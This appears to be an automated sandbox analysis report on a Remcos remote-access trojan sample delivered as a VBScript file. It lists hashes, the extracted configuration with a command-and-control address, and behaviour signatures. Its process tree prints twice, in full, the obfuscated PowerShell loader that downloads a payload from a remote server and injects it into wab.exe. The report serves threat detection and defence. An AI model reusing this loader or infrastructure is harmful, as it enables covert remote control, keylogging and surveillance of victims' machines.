remcos | 99c3ad8c8368e37f91ee3afc68707e9f3bf8a3568148a52a30b185c74fc3ceab

Analysis

max time kernel
148s
max time network
129s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
03/07/2024, 06:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SOA.vbs
Size 22KB
Sample240703-grfxqavanm
SHA256 99c3ad8c8368e37f91ee3afc68707e9f3bf8a3568148a52a30b185c74fc3ceab
MD5 eb4596e05a47ba1fcb1277ed586c30cc
SHA1 b70b40950e41cf46aa8d4f6123a6acbd46dea1fb
SHA512 36ff9222015e55ef2dad5f223c1de98a70516e5bfa6bc7117cb0e053a632c1697ed1fcde1cc177ce3bdbf4efcf55e434fad0046f6bf71ebf2801bcfaa88c6ae4
SSDEEP 384:7E7Z4u4vDdtbkowZHMTD4GRpR4JpKZRSr9jEsM0:c4vDdtYowZsTEGTEPh
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

103.237.87.156:1993

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-SACUXX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2916	WScript.exe
6	2916	WScript.exe
9	3032	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1456	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2840	powershell.exe
1456	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2840 set thread context of 1456	2840	powershell.exe	34

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3032	powershell.exe
2840	powershell.exe
2840	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1456	wab.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1456	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1456	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 3032	2916	WScript.exe	28
PID 2916 wrote to memory of 3032	2916	WScript.exe	28
PID 2916 wrote to memory of 3032	2916	WScript.exe	28
PID 3032 wrote to memory of 2604	3032	powershell.exe	30
PID 3032 wrote to memory of 2604	3032	powershell.exe	30
PID 3032 wrote to memory of 2604	3032	powershell.exe	30
PID 3032 wrote to memory of 2840	3032	powershell.exe	32
PID 3032 wrote to memory of 2840	3032	powershell.exe	32
PID 3032 wrote to memory of 2840	3032	powershell.exe	32
PID 3032 wrote to memory of 2840	3032	powershell.exe	32
PID 2840 wrote to memory of 2952	2840	powershell.exe	33
PID 2840 wrote to memory of 2952	2840	powershell.exe	33
PID 2840 wrote to memory of 2952	2840	powershell.exe	33
PID 2840 wrote to memory of 2952	2840	powershell.exe	33
PID 2840 wrote to memory of 1456	2840	powershell.exe	34
PID 2840 wrote to memory of 1456	2840	powershell.exe	34
PID 2840 wrote to memory of 1456	2840	powershell.exe	34
PID 2840 wrote to memory of 1456	2840	powershell.exe	34
PID 2840 wrote to memory of 1456	2840	powershell.exe	34
PID 2840 wrote to memory of 1456	2840	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SOA.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Pleuroid Afstivningstmmerets Moralismens racetracker Touperede Moosewob Ilsebils Maengdelaere Gimmick Stabiliseringsmidlets forbifart Hazelly Paradoksale Raadhusvinenes stresssituationer Udvalgsbehandle Patriarkat Decimalisation Grinderies Pictarnie Reviderendes201 Skn Filterability Nonclosely Pleuroid Afstivningstmmerets Moralismens racetracker Touperede Moosewob Ilsebils Maengdelaere Gimmick Stabiliseringsmidlets forbifart Hazelly Paradoksale Raadhusvinenes stresssituationer Udvalgsbehandle Patriarkat Decimalisation Grinderies Pictarnie Reviderendes201 Skn Filterability Nonclosely';If (${host}.CurrentCulture) {$Oblicque++;}Function Systemsikkerheden($Uduelighedernes){$Erickson=$Uduelighedernes.Length-$Oblicque;$Shakeouts='SUBsTRI';$Shakeouts+='ng';For( $Toforn=7;$Toforn -lt $Erickson;$Toforn+=8){$Pleuroid+=$Uduelighedernes.$Shakeouts.Invoke( $Toforn, $Oblicque);}$Pleuroid;}function Debutroller($Badasses116){ . ($Redningernes) ($Badasses116);}$verdenens=Systemsikkerheden 'Erg,terMN mmulao Sprhagz Flint.iApheliol KnhjdelUtil,jeaReformi/Elveren5St.pful.Pauropo0 Mista Undervr( UgesteWFra.meni Arg.ronTetrol,dCounteroLearnthwSpejlr,sUnenunc SanmariNMilieubTHollnde Quakine1Nesting0Be ndre.Srforso0Magende;Overbid Dgge.amWMetameri EmiliunDe,rien6Concent4decimal;Periphe BatatatxMidastr6 Form l4Bulldog;Gitonin Ildprvr superavHydno.a:Sleekes1Unw nda2Udbytte1 Nejern.Analogi0Ema.jer).erbesc BoschneGMes,nepeFly.tefc Macr rkMalarsaoSp,nish/ System2Moan.es0 iscalc1Margeni0J.annys0Amentyt1Englant0Volu en1 i.dlgg BibliofFNeumeteiWeaponrrHassleseBrndestfAverti,o V,rsifxVandind/Oversys1 Preear2 Sunb,t1Retsfor.Ledigg.0Fa vetr ';$Overspringelses=Systemsikkerheden '.ournurUc,ambras Pa tomeLissasnrspecial-AntiortAImp,rtrgAbessineGressibnOverintt Nepoti ';$Touperede=Systemsikkerheden ' grilnih M,spait VaskertGeoelekp Sheike:Sauba e/.hacoth/Eksk us1Palikar0Didleru3 Nonico.Knobker2Tyttebr3 Sekund7Disburs.Brise.n8Parthav6Landman.Paradox2 Rit.es4Lyskurv7Fritten/MultilatCiga.ephFanwo.teB.roligo Woodcrm.iderliaDleste,gHklingsyIdrrm d.,ommerbpSemiapesStrangum Derive ';$Nonporous=Systemsikkerheden ' Fa,rgo>.ctophy ';$Redningernes=Systemsikkerheden '.kkumulisubclaveDabeilixBo leut ';$Bruttoetageareal='Maengdelaere';$Tofornncudectomy = Systemsikkerheden ' firtakeTheatroc ipningh StamenoCoagula Coelom %,dspndpa,sterlipAfsagtspAn.itradOmsadlea nearthtDi estiaAgencie%bespill\UordentHDwi ejuaSpartlie DeactimPeacinga Co.eadt S,dalioAnilidel HumouroGiftighgKraeveriEmblemecMacroso4Ta.sere1Petrolo.M lkmenMTrosfriiTransaqlI.detec Arghelb& Vder.d&Hyldebl KansaameXylotilc JustithSkviseroForm ri MundungtAdfrdsk ';Debutroller (Systemsikkerheden ' Furazo$ P,lkengTarokkel.avioliost tusobR,adshea U creal Peltig:Pl.tarcRSetts,roRrelsers Au,oxie.tringimFlugtsiapredelil UnarraiBli zlanUopdra gReaffir=Busfuld( .trejkcUnipartmStereofdDr gste Bedells/SynechicSpottil Gru,pe$ Impl.mTMascagnoForsbenf TrombooKonomidrSaxofonnAandsarnFraudprc gaaretuApop.ekdCahit,seS.ubletc Eggbeat.illardoClar,acm orridoyMeriane) Punici ');Debutroller (Systemsikkerheden 'Sc,aigh$Pr etaggDukkemalF,lsemaoRecognibNonincaa,ndkobllProcomp:Tegnes,rCentneraM,ngelecCrizzelePrescort Fyri.grDualistaKalendecSolubilkVirgerceOutjumprClassic=.kuespi$Indpa.nTBrainieo PrintkudockmanpVirologeVddelbsrUdkeleteBeswitcd Dia.roeS,iftie.E.kalersProduktpAtmo phlSanemoniTarbo rtHominal(Lokalis$SammensN Subteno N.nrednres ektpur,emmeoUo,gngerBarselsoUplea.tuTrstegnsPostp o)In.uman ');Debutroller (Systemsikkerheden 'Skulpt,[ProtokoNL,ggetseConnixatQuadric.rum ureSKastep,ePerigenr Luft lvDispropiHoved tc KerbedeUnpowerPUn,ertro Plano,i Staplfncro,sint GennemMAfveksla M,rcelnEry,hrua PrajetgRefnovee NrtstarKandern]Gossysy:B thiec:OligotrS No.syneRafaelsc CafgenuSt,rmenr.ontrahiTranspltF avescyHyperteP fireperChrom toAntirictRemo eno UsuskucB gtaltoHul.glalRachill Kanapyg=La,ouri fanaka[K.llealN eratoleBemrkeltObersts. F,rpliSSkruebreHaymakicCoilab,uIs,hydrrKranv.gi Mel emtIndkomsyCentralPDruitharTilfredoAfrivnit B,otstoRefe,encTordneaoMinerollkrapfenTOverthryspor smp tamhereAntithe]Pomaded:Sermoci:PeriodiT PengeblUdsprj sPass nt1Streetw2G.wkedn ');$Touperede=$racetracker[0];$Tofornndfarver= (Systemsikkerheden 'Ungel,t$CorbeilgFiltredlAssag,io SvecisbCfhnazia Hyperpl Stivsi:betal.nNLa.ererogymnostvsupplere tatskilN,ndisaealgesict BystattKonsumei orsknsKoalitih Eks.ra3Unmani.8fodbold=TrigoneNLi urgieSangeriwtubercu-GatacopOPizzamabDksti.lj Aut.eceTjenstdcUn ittetv,rdens trve,krS unignoyDronnins Infi itDespendeStryg,im ppede. MafurrNPartikueGaldrimt Renta,.PapirtiWForbindeTw ddlibS,ruestCGods.kslFlutistiPakkelieOpfordrn Kritist');$Tofornndfarver+=$Rosemaling[1];Debutroller ($Tofornndfarver);Debutroller (Systemsikkerheden 'Jagtlej$IllustrNSlvbedeorishstevM rprelePalisadl Deir,de Flugtbt knockitEutheniiThu kprsAmnesiahMulch.s3Foruren8Arbejds.Mag.ifiHAnt aggeCarnifiaaethercd SvedigeImmensur AnerkesDriftst[ Rutefl$SkelettO .nclogv Un.vereD visinrIntolersFra,ggepSci.therMonotheiFustybrnKol ektgSlingree StvnemlVirkem,sBradypoe nspeaksUsdelig]Lajkapa=E,hinom$Fri.edsv KabelbeNo,saner ch sead Film.peFaseindn Modydeesopransn Fornufs.ankful ');$Indfrslens=Systemsikkerheden '.asuari$SeraskiNTibionaoDiscas,vNor alseFanersslUnsmooteLaaneretHypogastmorticiiFjantersDemihorhAfstr s3In,driv8glorise.MejerisD Ubeh.lo PublicwCornellnNonsta.lFleree.oUd,ygniapolymatdBristenFBrofogdi Ifint,l OvergreUtiliza(Ketubah$Mo,eratTFlel esoAntiulcuSkul tuperskinee Fl.eybrSmaaboreSilangadFiskendeFinia.s,Sof,sen$ Nonpe Spal,asgkToldvsnn Cocker) Univer ';$Skn=$Rosemaling[0];Debutroller (Systemsikkerheden 'Grav.js$SubsequgPalae.slPicksomo HaplobbOreodo.aOsteoarlMarkeds:PanaestU Grund nFodnotedFinaliseFrontler Hu.drefUnderkjaEccrisilVrkested FuldmasMonodynhCounte.jSmldeneuPomeyrelGennemleOpholdetLeverins adultt=Udloebs( MylohaTAdjudaneAn.ggess Pr mrvtBronzsp- FelinePUnderpra Comme,t TorporhCapsula Recipi $ S.lvelSConfe ekBu ikstnElectro)Slusev, ');while (!$Underfaldshjulets) {Debutroller (Systemsikkerheden ' Recogn$SkjulergSrgebi.ltanquenoSpirit.b mamboeaMalaperlAnticha:QaidwatTMuc sogr Navnera emautoc Ptery.t Abomaso barytorTroglyti Ve derzBeklemmeAlpakas=v,nerne$C dukeutFrkkertrA nicoeuUnplashepartiva ') ;Debutroller $Indfrslens;Debutroller (Systemsikkerheden 'Fo,noteSUnderjutRadiomeaArchdo r MevyaltKyrasse-Vivien,S TanyarlRingbryeTemperaeEthiopepA otyle Grstr.k4 Kildek ');Debutroller (Systemsikkerheden 'Comprom$Vgtigerg Bitte.lEchina oSkildpabMechanoaKettesslUnc tec:PromptbUEctophynDobbeltd No,pereChok,larEntailsfDis,omeaclitionlFlankerdHuskeresDe auchh RingeajLieutenuS,leenllKontroleSpredestEnkeltrsEvaluer= esters(HeksekeTFladsyneTndehvls SpritttMediate-ZoneindP kattega,onadect Con,ach.rafiku Topg,a$B.kymriSPlianthkLewisesn Beeroc) Herred ') ;Debutroller (Systemsikkerheden ' A bass$ Moskpqg tvillilVildtbeo Altsa.b SplendaLuftpudlOpsaml :EkstrabMBrodereoFakulterAsklentaChickielVicegeriimmatersreobligmCampongeMicrosynNuss,ndsTampend=Uncandi$ForlystgPrfabr.l,xpectioRemuablb Hil,neaRemeasulTel,ifj:PalaeoeA .andbefR jectesStraal,tMicrocoiHomol gvForeninnMalpropiRestaurnTilkrengPolaransDerovretPasteurmKvantitmNordsteeUnv,terrkasparseStvskyetSkegsd sFodgnge+Medgrli+Twaddle%Knicker$OldtidsrsteriliaerindlecComprizePatchwotUopslidrDekompraFoy,radc,arbgerkPreoccle P,rvulrChokol,.ForlggecStempe,oRadikalu SyvaarnBeflourt Hy.and ') ;$Touperede=$racetracker[$Moralismens];}$Lettrure=317544;$koloritters=29622;Debutroller (Systemsikkerheden 'Baccill$Teledeng postlulIndblanoZie sbrbE,ichloaAccellelTetani,: Kine,eGVredesuiArchdemm Ushabtm trghaniTranslacKrukkerk Skunke Ellison= Censor AubergiGTolreroe osomitGownsaf-f.ysepuC,aahhalononsacrnNordgaathodaddie .nwardn E,sklutlamella Hypnoti$SigillaS nubprok Su posnUnderfa ');Debutroller (Systemsikkerheden ' ,iskun$Skruestg ce letl RockmaoAlineaebakv,relaVein,eslTotalte:SyrererVDiskurseTrirhomdForsbedlToba,shiUndfanggBemyndie piderwh xilaroJetsom.lHirtshadDeba,kse PotpourFustiea Ben,ne=Moustac Sprydst[ ,fkbevS HylothyAbelsonsHeavenwtTro,dileHostel,mCaroten.KlepperCTirralioNonadv,nov.rlacvOceanole,etalter SedanstTob.kke]Brddegu:Psorosi:Slan.whFMeleagrrMi tnksoGrilninmHarp.inBSkadegraEmblem s Kilo,reCoelast6Twiz,le4Ceilec,S FremadtFlagellrsluts,miStraddln Hovedmg Faradi( pioner$ Comme GBa.eresiapjohnimCotenurmBag.etsi Regionc LandstkUdringe)D,blade ');Debutroller (Systemsikkerheden 'Antifer$Kinooshg PresselKalligroBeherskb AfbrknaBlackisl Mesosc:BemadamHHomocreamiljb.szDaarligeDokumenlFrontadlDosaadoySonch.s Fejlbed=Transit Ekstra[DessertS EvigheyChecke,s,fgiftst TrykkneCloakedmCrepeny.DeidealT LegetjeGu.mdrexEn,elldtBropeng.ForudstEBrstninnI reparc Dra,teovalglokdLipacidi RabblenBrien.pgS.rvice]Oppustn: Oyster:PeriostA JdekirSLearchuCMycoplaISylvestIEmbedsl.MullionGBlokeree SaradotPlatfo.SPoet,totox dactrBarn,aliIndent,nAnsigtsg Undert(Goderne$Tppe.liVKontrakeMalve.sdBounc.blDrifts,iRaadplagGl.sforeTransmih ShelfmoLingulilDegwooddneuropaeOverr.sr arthur)Adfaerd ');Debutroller (Systemsikkerheden ' Tilord$ DesertgFyringsl CentreoCerebr bStruthiaAttachelCrapula: St,dsnRKradseroIndustrd InsekteBogmarkrWat hwoiBephilteDmringetBlindfl= i tell$ PolygaH ,vergra Korsfaz unengre Tra.malSumpg sl Impaney ygaen.Geschfts LigfrduVaireebbReactedsAffectitRevei.lrUdkomstiTakn.ngnfaellelgMesitae(Othern.$MefistoLDis ageeUnindict Refer tsubdiacrOrdbilluUnguiltrCubistieErosion,.orlyst$ufuld tk BiblicoB.lligslKipchakoC,liolorPho osyi TvinedtNetadretVerbesie TookenrskatteksCur.syi)Blackca ');Debutroller $Roderiet;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Haematologic41.Mil && echo t"
    3⤵
    PID:2604
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Pleuroid Afstivningstmmerets Moralismens racetracker Touperede Moosewob Ilsebils Maengdelaere Gimmick Stabiliseringsmidlets forbifart Hazelly Paradoksale Raadhusvinenes stresssituationer Udvalgsbehandle Patriarkat Decimalisation Grinderies Pictarnie Reviderendes201 Skn Filterability Nonclosely Pleuroid Afstivningstmmerets Moralismens racetracker Touperede Moosewob Ilsebils Maengdelaere Gimmick Stabiliseringsmidlets forbifart Hazelly Paradoksale Raadhusvinenes stresssituationer Udvalgsbehandle Patriarkat Decimalisation Grinderies Pictarnie Reviderendes201 Skn Filterability Nonclosely';If (${host}.CurrentCulture) {$Oblicque++;}Function Systemsikkerheden($Uduelighedernes){$Erickson=$Uduelighedernes.Length-$Oblicque;$Shakeouts='SUBsTRI';$Shakeouts+='ng';For( $Toforn=7;$Toforn -lt $Erickson;$Toforn+=8){$Pleuroid+=$Uduelighedernes.$Shakeouts.Invoke( $Toforn, $Oblicque);}$Pleuroid;}function Debutroller($Badasses116){ . ($Redningernes) ($Badasses116);}$verdenens=Systemsikkerheden 'Erg,terMN mmulao Sprhagz Flint.iApheliol KnhjdelUtil,jeaReformi/Elveren5St.pful.Pauropo0 Mista Undervr( UgesteWFra.meni Arg.ronTetrol,dCounteroLearnthwSpejlr,sUnenunc SanmariNMilieubTHollnde Quakine1Nesting0Be ndre.Srforso0Magende;Overbid Dgge.amWMetameri EmiliunDe,rien6Concent4decimal;Periphe BatatatxMidastr6 Form l4Bulldog;Gitonin Ildprvr superavHydno.a:Sleekes1Unw nda2Udbytte1 Nejern.Analogi0Ema.jer).erbesc BoschneGMes,nepeFly.tefc Macr rkMalarsaoSp,nish/ System2Moan.es0 iscalc1Margeni0J.annys0Amentyt1Englant0Volu en1 i.dlgg BibliofFNeumeteiWeaponrrHassleseBrndestfAverti,o V,rsifxVandind/Oversys1 Preear2 Sunb,t1Retsfor.Ledigg.0Fa vetr ';$Overspringelses=Systemsikkerheden '.ournurUc,ambras Pa tomeLissasnrspecial-AntiortAImp,rtrgAbessineGressibnOverintt Nepoti ';$Touperede=Systemsikkerheden ' grilnih M,spait VaskertGeoelekp Sheike:Sauba e/.hacoth/Eksk us1Palikar0Didleru3 Nonico.Knobker2Tyttebr3 Sekund7Disburs.Brise.n8Parthav6Landman.Paradox2 Rit.es4Lyskurv7Fritten/MultilatCiga.ephFanwo.teB.roligo Woodcrm.iderliaDleste,gHklingsyIdrrm d.,ommerbpSemiapesStrangum Derive ';$Nonporous=Systemsikkerheden ' Fa,rgo>.ctophy ';$Redningernes=Systemsikkerheden '.kkumulisubclaveDabeilixBo leut ';$Bruttoetageareal='Maengdelaere';$Tofornncudectomy = Systemsikkerheden ' firtakeTheatroc ipningh StamenoCoagula Coelom %,dspndpa,sterlipAfsagtspAn.itradOmsadlea nearthtDi estiaAgencie%bespill\UordentHDwi ejuaSpartlie DeactimPeacinga Co.eadt S,dalioAnilidel HumouroGiftighgKraeveriEmblemecMacroso4Ta.sere1Petrolo.M lkmenMTrosfriiTransaqlI.detec Arghelb& Vder.d&Hyldebl KansaameXylotilc JustithSkviseroForm ri MundungtAdfrdsk ';Debutroller (Systemsikkerheden ' Furazo$ P,lkengTarokkel.avioliost tusobR,adshea U creal Peltig:Pl.tarcRSetts,roRrelsers Au,oxie.tringimFlugtsiapredelil UnarraiBli zlanUopdra gReaffir=Busfuld( .trejkcUnipartmStereofdDr gste Bedells/SynechicSpottil Gru,pe$ Impl.mTMascagnoForsbenf TrombooKonomidrSaxofonnAandsarnFraudprc gaaretuApop.ekdCahit,seS.ubletc Eggbeat.illardoClar,acm orridoyMeriane) Punici ');Debutroller (Systemsikkerheden 'Sc,aigh$Pr etaggDukkemalF,lsemaoRecognibNonincaa,ndkobllProcomp:Tegnes,rCentneraM,ngelecCrizzelePrescort Fyri.grDualistaKalendecSolubilkVirgerceOutjumprClassic=.kuespi$Indpa.nTBrainieo PrintkudockmanpVirologeVddelbsrUdkeleteBeswitcd Dia.roeS,iftie.E.kalersProduktpAtmo phlSanemoniTarbo rtHominal(Lokalis$SammensN Subteno N.nrednres ektpur,emmeoUo,gngerBarselsoUplea.tuTrstegnsPostp o)In.uman ');Debutroller (Systemsikkerheden 'Skulpt,[ProtokoNL,ggetseConnixatQuadric.rum ureSKastep,ePerigenr Luft lvDispropiHoved tc KerbedeUnpowerPUn,ertro Plano,i Staplfncro,sint GennemMAfveksla M,rcelnEry,hrua PrajetgRefnovee NrtstarKandern]Gossysy:B thiec:OligotrS No.syneRafaelsc CafgenuSt,rmenr.ontrahiTranspltF avescyHyperteP fireperChrom toAntirictRemo eno UsuskucB gtaltoHul.glalRachill Kanapyg=La,ouri fanaka[K.llealN eratoleBemrkeltObersts. F,rpliSSkruebreHaymakicCoilab,uIs,hydrrKranv.gi Mel emtIndkomsyCentralPDruitharTilfredoAfrivnit B,otstoRefe,encTordneaoMinerollkrapfenTOverthryspor smp tamhereAntithe]Pomaded:Sermoci:PeriodiT PengeblUdsprj sPass nt1Streetw2G.wkedn ');$Touperede=$racetracker[0];$Tofornndfarver= (Systemsikkerheden 'Ungel,t$CorbeilgFiltredlAssag,io SvecisbCfhnazia Hyperpl Stivsi:betal.nNLa.ererogymnostvsupplere tatskilN,ndisaealgesict BystattKonsumei orsknsKoalitih Eks.ra3Unmani.8fodbold=TrigoneNLi urgieSangeriwtubercu-GatacopOPizzamabDksti.lj Aut.eceTjenstdcUn ittetv,rdens trve,krS unignoyDronnins Infi itDespendeStryg,im ppede. MafurrNPartikueGaldrimt Renta,.PapirtiWForbindeTw ddlibS,ruestCGods.kslFlutistiPakkelieOpfordrn Kritist');$Tofornndfarver+=$Rosemaling[1];Debutroller ($Tofornndfarver);Debutroller (Systemsikkerheden 'Jagtlej$IllustrNSlvbedeorishstevM rprelePalisadl Deir,de Flugtbt knockitEutheniiThu kprsAmnesiahMulch.s3Foruren8Arbejds.Mag.ifiHAnt aggeCarnifiaaethercd SvedigeImmensur AnerkesDriftst[ Rutefl$SkelettO .nclogv Un.vereD visinrIntolersFra,ggepSci.therMonotheiFustybrnKol ektgSlingree StvnemlVirkem,sBradypoe nspeaksUsdelig]Lajkapa=E,hinom$Fri.edsv KabelbeNo,saner ch sead Film.peFaseindn Modydeesopransn Fornufs.ankful ');$Indfrslens=Systemsikkerheden '.asuari$SeraskiNTibionaoDiscas,vNor alseFanersslUnsmooteLaaneretHypogastmorticiiFjantersDemihorhAfstr s3In,driv8glorise.MejerisD Ubeh.lo PublicwCornellnNonsta.lFleree.oUd,ygniapolymatdBristenFBrofogdi Ifint,l OvergreUtiliza(Ketubah$Mo,eratTFlel esoAntiulcuSkul tuperskinee Fl.eybrSmaaboreSilangadFiskendeFinia.s,Sof,sen$ Nonpe Spal,asgkToldvsnn Cocker) Univer ';$Skn=$Rosemaling[0];Debutroller (Systemsikkerheden 'Grav.js$SubsequgPalae.slPicksomo HaplobbOreodo.aOsteoarlMarkeds:PanaestU Grund nFodnotedFinaliseFrontler Hu.drefUnderkjaEccrisilVrkested FuldmasMonodynhCounte.jSmldeneuPomeyrelGennemleOpholdetLeverins adultt=Udloebs( MylohaTAdjudaneAn.ggess Pr mrvtBronzsp- FelinePUnderpra Comme,t TorporhCapsula Recipi $ S.lvelSConfe ekBu ikstnElectro)Slusev, ');while (!$Underfaldshjulets) {Debutroller (Systemsikkerheden ' Recogn$SkjulergSrgebi.ltanquenoSpirit.b mamboeaMalaperlAnticha:QaidwatTMuc sogr Navnera emautoc Ptery.t Abomaso barytorTroglyti Ve derzBeklemmeAlpakas=v,nerne$C dukeutFrkkertrA nicoeuUnplashepartiva ') ;Debutroller $Indfrslens;Debutroller (Systemsikkerheden 'Fo,noteSUnderjutRadiomeaArchdo r MevyaltKyrasse-Vivien,S TanyarlRingbryeTemperaeEthiopepA otyle Grstr.k4 Kildek ');Debutroller (Systemsikkerheden 'Comprom$Vgtigerg Bitte.lEchina oSkildpabMechanoaKettesslUnc tec:PromptbUEctophynDobbeltd No,pereChok,larEntailsfDis,omeaclitionlFlankerdHuskeresDe auchh RingeajLieutenuS,leenllKontroleSpredestEnkeltrsEvaluer= esters(HeksekeTFladsyneTndehvls SpritttMediate-ZoneindP kattega,onadect Con,ach.rafiku Topg,a$B.kymriSPlianthkLewisesn Beeroc) Herred ') ;Debutroller (Systemsikkerheden ' A bass$ Moskpqg tvillilVildtbeo Altsa.b SplendaLuftpudlOpsaml :EkstrabMBrodereoFakulterAsklentaChickielVicegeriimmatersreobligmCampongeMicrosynNuss,ndsTampend=Uncandi$ForlystgPrfabr.l,xpectioRemuablb Hil,neaRemeasulTel,ifj:PalaeoeA .andbefR jectesStraal,tMicrocoiHomol gvForeninnMalpropiRestaurnTilkrengPolaransDerovretPasteurmKvantitmNordsteeUnv,terrkasparseStvskyetSkegsd sFodgnge+Medgrli+Twaddle%Knicker$OldtidsrsteriliaerindlecComprizePatchwotUopslidrDekompraFoy,radc,arbgerkPreoccle P,rvulrChokol,.ForlggecStempe,oRadikalu SyvaarnBeflourt Hy.and ') ;$Touperede=$racetracker[$Moralismens];}$Lettrure=317544;$koloritters=29622;Debutroller (Systemsikkerheden 'Baccill$Teledeng postlulIndblanoZie sbrbE,ichloaAccellelTetani,: Kine,eGVredesuiArchdemm Ushabtm trghaniTranslacKrukkerk Skunke Ellison= Censor AubergiGTolreroe osomitGownsaf-f.ysepuC,aahhalononsacrnNordgaathodaddie .nwardn E,sklutlamella Hypnoti$SigillaS nubprok Su posnUnderfa ');Debutroller (Systemsikkerheden ' ,iskun$Skruestg ce letl RockmaoAlineaebakv,relaVein,eslTotalte:SyrererVDiskurseTrirhomdForsbedlToba,shiUndfanggBemyndie piderwh xilaroJetsom.lHirtshadDeba,kse PotpourFustiea Ben,ne=Moustac Sprydst[ ,fkbevS HylothyAbelsonsHeavenwtTro,dileHostel,mCaroten.KlepperCTirralioNonadv,nov.rlacvOceanole,etalter SedanstTob.kke]Brddegu:Psorosi:Slan.whFMeleagrrMi tnksoGrilninmHarp.inBSkadegraEmblem s Kilo,reCoelast6Twiz,le4Ceilec,S FremadtFlagellrsluts,miStraddln Hovedmg Faradi( pioner$ Comme GBa.eresiapjohnimCotenurmBag.etsi Regionc LandstkUdringe)D,blade ');Debutroller (Systemsikkerheden 'Antifer$Kinooshg PresselKalligroBeherskb AfbrknaBlackisl Mesosc:BemadamHHomocreamiljb.szDaarligeDokumenlFrontadlDosaadoySonch.s Fejlbed=Transit Ekstra[DessertS EvigheyChecke,s,fgiftst TrykkneCloakedmCrepeny.DeidealT LegetjeGu.mdrexEn,elldtBropeng.ForudstEBrstninnI reparc Dra,teovalglokdLipacidi RabblenBrien.pgS.rvice]Oppustn: Oyster:PeriostA JdekirSLearchuCMycoplaISylvestIEmbedsl.MullionGBlokeree SaradotPlatfo.SPoet,totox dactrBarn,aliIndent,nAnsigtsg Undert(Goderne$Tppe.liVKontrakeMalve.sdBounc.blDrifts,iRaadplagGl.sforeTransmih ShelfmoLingulilDegwooddneuropaeOverr.sr arthur)Adfaerd ');Debutroller (Systemsikkerheden ' Tilord$ DesertgFyringsl CentreoCerebr bStruthiaAttachelCrapula: St,dsnRKradseroIndustrd InsekteBogmarkrWat hwoiBephilteDmringetBlindfl= i tell$ PolygaH ,vergra Korsfaz unengre Tra.malSumpg sl Impaney ygaen.Geschfts LigfrduVaireebbReactedsAffectitRevei.lrUdkomstiTakn.ngnfaellelgMesitae(Othern.$MefistoLDis ageeUnindict Refer tsubdiacrOrdbilluUnguiltrCubistieErosion,.orlyst$ufuld tk BiblicoB.lligslKipchakoC,liolorPho osyi TvinedtNetadretVerbesie TookenrskatteksCur.syi)Blackca ');Debutroller $Roderiet;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Haematologic41.Mil && echo t"
      4⤵
      PID:2952
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:1456

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 200B
SHA256 0512b85be73d4e0acb813995e015aa9ad255998740722cbc1e12d42e53800667
MD5 e07ad366be5dbff13ba47114e7d020ce
SHA1 014077a979843763d7299403755895f2433c1339
SHA512 a2ace701f860cdfeb4fe39b1dbc9c1aa70e97aa0a811aaa49a65f14ddfbd00955da6d3e21289daf01196839e206204c14f193d73db8ed61fccaf6b2e370a8971
MD5 SHA1 SHA512

Submit Download

Haematologic41.Mil

Path C:\Users\Admin\AppData\Roaming\Haematologic41.Mil
Size 452KB
SHA256 d60baeb50560c67a31c9a73d826ea5252b32f101dd3376904e33dd1540206503
